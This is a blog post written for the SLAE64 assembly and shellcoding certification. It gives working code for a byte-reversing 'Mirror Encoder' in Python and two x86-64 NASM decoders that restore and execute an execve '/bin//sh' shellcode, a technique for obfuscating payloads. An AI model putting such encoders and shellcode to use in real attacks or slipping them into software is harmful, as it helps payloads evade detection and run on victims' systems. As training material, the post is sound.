SLAE64 – Assignment #4 – Encoder/Decoder Shellcode

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification :

http://www.securitytube-­training.com/online-­courses/x8664-­assembly-­and-­shellcoding-­on-­linux/index.html

Student ID: PA-6470

Assignment #4

The aim of this assignment is to write a custom shellcode encoder and decoder.

The first thing to do is to dump all the opcodes of the shellcode and think to a way to mix all of them.

Here I’ve chosen a simple but effective algorithm. The encoder starts to swap the first and last opcode then continues to swap opcodes until it reaches the middle of the opcodes. My implementation only works if there is an even number of opcodes. If not, you just need to add  one dummy opcode like a NOP. I’ve called this encoder, the « Mirror Encoder ».

Here is a simple diagram showing how this algorithm works :

Encoder

Here is a screenshot of this running encoder and the encoded shellcode :

Mirror-Encoder.py :

#!/usr/bin/python

# This shellcode encoder has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification :
# http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html
#
# Author : SLAE64-PA-6470 (kahlon81)

# python Mirror-Encoder.py 

shellcode = ("\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05")

encoded = ""
encoded2 = ""
r2 = ""
l2 = ""
rr2 = ""
ll2 = ""

print 'Len: %d' % len(bytearray(shellcode))
print 'Encoded shellcode ...'

arr = bytearray(shellcode)
arr2 = [(arr[i], arr[-i-1]) for i in range(len(arr) // 2)]
#print arr2

for x in range(len(arr2)):
  y = arr2[x]

  # encode for C
  r = '\\x'
  r += '%02x' % y[0]
  r2 = r + r2

  l = '\\x'
  l += '%02x' % y[1]
  l2 = l2 + l

  # encode for ASM
  r = '0x'
  r += '%02x,' % y[0]
  rr2 = r + rr2

  l = '0x'
  l += '%02x,' % y[1]
  ll2 = ll2 + l

# Build encoded strings
encoded = l2 + r2
encoded2 = ll2 + rr2

print 'opcodes for C :'
print encoded
print 'opcodes for ASM :'
print encoded2

Decoder

The decoder is written in assemby and just do the reverse swap.

Here is a screenshot of the running decoder. It decodes the previously encoded shellcode and run it :

The code is self-explanatory, 2 versions available.

Full source code is available here and on my Github account.

Version 1

; This shellcode decoder has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification :
; http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html
;
; Author : SLAE64-PA-6470 (kahlon81)
; Date : 2018/02/21
;
; $ nasm -f elf64 Mirror-Decoder.nasm -o Mirror-Decoder.o
; $ ld Mirror-Decoder.o -o Mirror-Decoder

global _start

section .data
encoded_sc:	db 0x05,0x0f,0x3b,0xc0,0x83,0x48,0xe6,0x89,0x48,0x57,0xe2,0x89,0x48,0x50,0xe7,0x89,0x48,0x53,0x68,0x73,0x2f,0x2f,0x6e,0x69,0x62,0x2f,0xbb,0x48,0x50,0xc0,0x31,0x48
encoded_sc_size equ $ - encoded_sc

section .text
_start:
	lea r8, [rel encoded_sc]
	xor rcx, rcx                 ; offset to first SC byte
	mov rdx, encoded_sc_size - 1 ; offset to last SC byte = SC length -1         
	mov r9, encoded_sc_size	     ; r9 = SC size / 2
	shr r9, 1
decode:
	cmp rcx, r9                  ; SC length / 2 - stop swapping bytes when we are in the middle
	je encoded_sc                ; go to decoded shellcode
	
	mov al, byte [r8+rcx]        ; save values
	mov bl, byte [r8+rdx]

	mov byte [r8+rcx], bl        ; swap values
	mov byte [r8+rdx], al
  
	inc rcx                      ; go to next byte from left to right
	dec rdx                      ; go to next byte from right to left
        jmp short decode                 

Version 2 (JUMP-CALL-POP)

; This shellcode decoder has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification :
; http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html
;
; Author : SLAE64-PA-6470 (kahlon81)
; Date : 2018/02/21
;
; $ nasm -f elf64 Mirror-Decoder.nasm -o Mirror-Decoder.o
; $ ld Mirror-Decoder.o -o Mirror-Decoder

global _start

section .text   
_start:	
        jmp ONSTACK   
GO_LOOP:
        pop r8                       ; r8 is the SC address. pop esi crash ?;
	xor rcx, rcx                 ; offset to first SC byte
	mov rdx, SC_SIZE - 1         ; offset to last SC byte = SC length -1         
	mov r9, SC_SIZE		     ; r9 = SC_SIZE / 2
	shr r9, 1
LOOP:
	cmp rcx, r9                  ; SC length / 2 - stop swapping bytes when we are in the middle
	je SC                        ; go to decoded shell code
	
	mov al, byte [r8+rcx]        ; save values
	mov bl, byte [r8+rdx]

	mov byte [r8+rcx], bl        ; swap values
	mov byte [r8+rdx], al
  
	inc rcx                      ; go to next byte from left to right
	dec rdx                      ; go to next byte from right to left
        jmp LOOP                 
section .data
ONSTACK:
	call GO_LOOP
SC:	db 0x05,0x0f,0x3b,0xc0,0x83,0x48,0xe6,0x89,0x48,0x57,0xe2,0x89,0x48,0x50,0xe7,0x89,0x48,0x53,0x68,0x73,0x2f,0x2f,0x6e,0x69,0x62,0x2f,0xbb,0x48,0x50,0xc0,0x31,0x48
SC_SIZE equ $ - SC